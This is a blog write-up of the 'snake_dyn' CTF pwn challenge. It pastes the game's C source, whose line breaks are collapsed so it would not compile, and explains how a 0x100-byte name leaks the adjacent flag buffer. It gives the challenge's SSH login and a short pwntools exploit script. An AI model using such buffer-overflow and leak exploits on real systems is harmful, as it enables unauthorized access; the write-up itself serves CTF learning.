[BJDCTF 2nd]snake_dyn

Use ssh to connect. Username: ctf

步骤:

  1. 没有附件,根据提示,ssh连上去看看
ssh -p 29845 ctf@node3.buuoj.cn


神奇,做pwn怎么跟misc一样还要修复二维码了,这个我不是很会,朋友帮忙直接用ps了,如果有好用的工具记得踢我

  1. 扫出来是sNaKes,应该就是密码了,登上后是这样

    目录下有一个程序snake和它的c源码,还要flag文件,我们没法直接读出flag
    看一下snake程序,觉得途径1不可取,果断选择途径2
  2. 由于我查看源文件里面一直有乱码,弄了好久没有解决,就直接百度了wp,贴一下wp里的源文件代码
#include <stdio.h>
#include <time.h>
#include <malloc.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/time.h>
#include <termio.h>
#include <string.h>#define high 20
#define wide 30#define up 1
#define down 2
#define left 3
#define right 4// void setIO(unsigned int flag) {//     if(flag)
//         system("stty cbreak -echo");
//     else
//         system("stty cooked echo");
// }void StringReplace(char *buf, char src, char dest){char *p = buf;while(*p){if(p[0]==src){p[0]=dest;}p++;}
}unsigned int score  = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;char Picture[high][wide];typedef struct snake{unsigned int x;unsigned int y;struct snake* next;
}Node,*PSnake;PSnake Init() {printf("SnakeMake start!\n");unsigned int len=5;PSnake head=(PSnake)malloc(sizeof(Node));if(head == NULL)printf("Snake head make failed!\n");head->x=wide/2;head->y=high/2+5;head->next=NULL;unsigned int i=0;for(;i<5;i++) {PSnake P=(PSnake)malloc(sizeof(Node));if(P==NULL) {printf("Snake is dead!\n");break;}P->x=wide/2;P->y=high/2-i+4;P->next=head;head=P;}printf("Snake is alive!\n");return head;
}PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {PSnake p=(PSnake)malloc(sizeof(Node));if(p==NULL) {printf("New head make failed!");}p->x = x;p->y = y;p->next=snake;score += 1;return p;
}void Walk(unsigned int x,unsigned int y,PSnake snake) {PSnake p=snake;unsigned int a,b, c=x, d=y;while(p!=NULL) {a=p->x;b=p->y;p->x = c;p->y = d;c=a;d=b;p=p->next;}
}unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {PSnake q=snake->next;while(q!= NULL) {if( ( (q->x) == x ) && ( (q->y) == y ) )return 1;q=q->next;}return 0;
}void WriteSnake(PSnake snake) {PSnake   p=snake;while(p != NULL) {Picture[p->y][p->x]=flag[flag_pos%0xC];p=p->next;}
}void Paint(void) {unsigned int y=high,x=wide,i,j;for(i=0; i<y; i++)for(j=0; j<x; j++)Picture[i][j]=' ';
}static unsigned int cnt=1;
void Print(char* p,unsigned int score,unsigned int Lev) {unsigned int a=high,b=wide,i=0,j;printf("\033c");system("stty -icanon");       // 关缓冲system("stty -echo");         // 关回显printf("\033[?25l");          // 关闭鼠标显示printf("游戏开始!! 移动次数: %d !\n",cnt);cnt++;printf("玩家:%s得分:%d\t\t\t\t等级:%d \n",p,score*100,Lev);while(i<b*2+2) {printf("\033[30;47m \033[0m");i++;}printf("\n");for (i=0; i<a; i++) {printf("\033[30;47m \033[0m");for(j=0; j<b; j++) {if(Picture[i][j]!=' '){printf("\033[31;42m%c \033[0m",Picture[i][j]);}else{printf("\033[40m%c \033[0m",Picture[i][j]);}}printf("\033[30;47m \033[0m");printf("\n");}for(i=0;i<=b*2+1;i++) {printf("\033[30;47m \033[0m");}printf("\n");if (score < 12){printf("\033[30;47m------勤劳的饲养员TaQini正在拿他的心爱的flag喂Imagin----------\033[0m\n");}else if (score < 23){printf("\033[30;47m------这家伙太贪吃了。TaQini决定不再喂他新的flag了------------\033[0m\n");}else if (score < 30){printf("\033[30;47m------加油!加油!3000分!!flag就在前方!冲鸭!!!----------\033[0m\n");}else{printf("\033[30;47m------他可真是一条爱运动的蛇呢!说什么每天必须走够2333步?----\033[0m\n");}printf("\033[30;47m                                                              \033[0m\n");
}unsigned int MakeFood(void) {static unsigned int MC=0;while(1) {if(MC > ((high * wide)/2 ) )return 0;srand((int)time(0));FoodH=rand()%high;FoodW=rand()%wide;if(Picture[FoodH][FoodW] == ' ')break;}MC++;return 1;
}PSnake MakeMove(PSnake s) {unsigned int x,y;PSnake p=s;x=s->x,y=s->y;if(direction == up)y = y - 1;if(direction == down)y = y + 1;if(direction == right)x = x + 1;if(direction == left)x = x - 1;if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);printf("The snake break the wall!");return NULL;}if(Serch(x,y,s)) {printf("x=%d y=%d \n",x,y);while(p != NULL) {printf("p->x= %d p->y= %d \n",p->x,p->y);p=p->next;}printf("Your snake eat itsself!");return NULL;}if( (x==FoodW) && (y==FoodH) ) {s=Eat(x,y,s);IsEat=1;}else {Walk(x,y,s);}return s;
}unsigned int kbhit(void) {struct timeval tv;fd_set rdfs;tv.tv_sec = 0;tv.tv_usec = 0;FD_ZERO(&rdfs);FD_SET(STDIN_FILENO,&rdfs);select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);return FD_ISSET(STDIN_FILENO,&rdfs);
}void InputCTL(unsigned int level) {unsigned int Dir=direction;unsigned int timeUse;struct timeval start,end;gettimeofday(&start,NULL);// setIO(1);char c,n;while(1) {gettimeofday(&end,NULL);timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;if(timeUse > 1000000 - level*100000)break;if(kbhit())c=getchar();}// setIO(0);if( c == 'w') {Dir=1;}else if( c == 's') {Dir=2;}else if( c == 'a') {Dir=3;}else if( c == 'd') {Dir=4;}else;if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))|| ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){direction = Dir;}
}unsigned int CheckLevel(unsigned int score) {static unsigned int change=0;if(((score - change) >= 3) && (Level < 9) ) {Level ++;change += 3;}return Level;
}void printRule(void){printf("\033c");printf("游戏说明:\n");printf("  0.您将操控一条名为Imagin的蛇进行游戏\n");printf("  1.每300分升级一次并提速,最高等级为⑨\n");printf("  2.Imagin这家伙素来十分挑食,专吃flag\n");printf("  3.吃够3000分,饲养员TaQini将奖励您shell一个\n\n");printf("按键说明:\n");printf("  \033[31;47m  a - 左    d - 右  \033[0m\n");printf("  \033[31;47m  w - 上    s - 下  \033[0m\n\n");printf("获胜条件:\n");printf("  \033[31;47m Capture TaQini's flag \033[0m\n");printf("  \033[31;47m    拿到TaQini的flag   \033[0m\n");printf("途径1:\n");printf("  控制Imagin吃豆豆,达到3000分\n");printf("途径2:\n");printf("  用你善于发现的眼睛,找到游戏中的小bug\n\n");// printf("小提示:\n");// printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}void GiveAwards(){system("/bin/sh");
}void getName(){char buf[0x100];printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");scanf("%s",buf);strncpy(Name, buf, 0x100);
}void GameRun(void) {unsigned int GameState=1;score=0;Level=1;printRule();getName();PSnake jack=Init();PSnake p=jack;while(GameState) {Paint();WriteSnake(jack);if(IsEat) {if(MakeFood()){IsEat=0;flag_pos ++;}}// 投食Picture[FoodH][FoodW]=flag[(flag_pos+1)%0xC];Print(Name,score,CheckLevel(score));InputCTL(Level);jack = MakeMove(jack);if( jack == NULL ) {GameState=0;printf("\033c");system("stty icanon");          // 恢复缓冲system("stty echo");            // 恢复回显printf("\033[?25h");            // 恢复鼠标显示printf("Game Over!\n");}// 奖励shellif( score >= 30 && cnt > 2333){GameState=0;printf("\033c");system("stty icanon");          // 恢复缓冲system("stty echo");            // 恢复回显printf("\033[?25h");            // 恢复鼠标显示GiveAwards();}}
}unsigned int main(void) {setvbuf(stdin,0,1,0);setvbuf(stdout,0,2,0);// 打开 flag 文件 喂蛇unsigned int fd = open("flag",O_RDONLY);read(fd,flag,1000);StringReplace(flag,'\n','*');GameRun();return 0;
}

程序太长,简单理一下,先看main函数,flag读到了flag数组里

然后去GameRun()函数

里面调用了getName(),里面涉及到了一个全局变量Name,看一下定义

strncpy这个函数有缓冲区漏洞,看到了Name后面跟着的就是我们存放flag的数组,可以利用缓冲区溢出将flag读取出来

完整exp

from pwn import *s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=29845)
p = s.process('./snake')
payload = 'a' * 0x100
p.sendline(payload)
p.interactive()

[BUUCTF]PWN——[BJDCTF 2nd]snake_dyn相关推荐

  1. BUUCTF(pwn)[BJDCTF 2nd]secret

    感觉这道题技巧性比较强 有两次输入 一次名字,一次 密码 先进 46A3AF 这里有一次输入 name 看一下 0x40136D的汇编 这里每次有一次 调用 0x46A329,并且 有一次cmp比较; ...

  2. BUUCTF:[BJDCTF 2nd]EasyBaBa

    题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]EasyBaBa binwalk分析,foremost分离 解压压缩包得到里面都是出题人.jpg 010 ...

  3. BUUCTF:[BJDCTF 2nd]圣火昭昭-y1ng

    题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]%E5%9C%A3%E7%81%AB%E6%98%AD%E6%98%AD-y1ng 新约佛论禅加密 新约佛 ...

  4. ------已搬运-------BUUCTF:[BJDCTF 2nd]假猪套天下第一-----------Header请求头学习!!!

    了解这个:Header:请求头详解.就全都会了.就,, 最水记录,,,, 不足: 1.tmd.抓包瞎jb抓,有登录页面,不知道抓包的时候输入参数,抓输入参数的时候的包,我真吐了,,,哎,怎么能这么傻啊 ...

  5. BUUCTF:[BJDCTF 2nd]假猪套天下第一

    先测试一下admin用户,发现会回弹 在测试一下其他账户,发现会进入 (下面那个root点进去是y1ng师傅的网站) 我们试着抓个包,发现存在着一个提示 打开这个L0g1n.php发现里面是 提示99 ...

  6. [BUUCTF-pwn]——[BJDCTF 2nd]secret

    [BUUCTF-pwn]--[BJDCTF 2nd]secret 这道题目,看就考验你的汇编能力了. 因为在反汇编的过程中,有一个函数过大,无法反汇编 在IDA中看到一个格外令人喜欢的东西,可是if ...

  7. [BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2

    [BUUCTF-pwn]--[BJDCTF 2nd]ydsneedgirlfriend2 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedg ...

  8. [BUUCTF-pwn]——[BJDCTF 2nd]r2t3

    [BUUCTF-pwn]--[BJDCTF 2nd]r2t3 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 题目: 先将文件下载下来,chec ...

  9. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  10. [BUUCTF-pwn]——[BJDCTF 2nd]rci

    [BUUCTF-pwn]--[BJDCTF 2nd]rci 题目地址: https://buuoj.cn/challenges#[BJDCTF%202nd]rci checksec 检查和 IDA大家 ...

最新文章

  1. kubelet配置cni插件_从零开始入门 K8s | 理解 CNI 和 CNI 插件
  2. 商户网站使用第三方支付的大致原理和实现
  3. android java adb命令大全,Android adb命令备份恢复手机信息
  4. C++中string.find()的误用
  5. Android实现网络音乐播放器
  6. linux 命令行使用wget下载百度云资源
  7. Python之数据分析(Numpy数据可视化:等高线图、热力图、饼图)
  8. mysql int 转 varchar_Java后端程序员必备:MySQL索引失效的十大杂症
  9. opencv外接矩形矫正
  10. 使用 LaTeX 语言对 MATLAB 中的图片进行标注
  11. 视频教程-射频工程师工作指南-无线通信
  12. win7美化_Windows桌面图标和分类美化小工具
  13. sql server在指定模式下创建表
  14. 漫话:如何给女朋友解释什么是RPC
  15. python 四象限图_如何快速绘制出四象限图?
  16. python查看微信撤回消息怎么弄_Python3爬虫查看微信撤回消息
  17. python实现火车票查询
  18. element-ui下载到本地方法(python 或java)
  19. WiFi知识点大总结
  20. Intel 9代CPU自砍鸡肋:全新酷睿给力到家

热门文章

  1. win7计算机出现空白图标,win7任务栏右下角图标显示为空白如何解决_win7任务栏右下角图标空白怎么去掉...
  2. 服务器数码管不显示,数码管常见故障及检修方法
  3. 如何理解图片RGB通道在python(numpy)中的数据构成
  4. 赵小楼《天道》《遥远的救世主》深度解析(109)天下乌鸦一般黑,不要幻想
  5. C++ Beep()演奏简谱的改进以及实现背景音乐
  6. post-GWAS:使用coloc进行共定位分析(Colocalization)
  7. 北大哲学系杨立华先生
  8. Android学习日记(yzy):Fragment与VierPager简单实现
  9. sqldblink建好不能查询_眉山这个停车场显示有车位却不能停?原来是……
  10. Handler到底是一个什么东东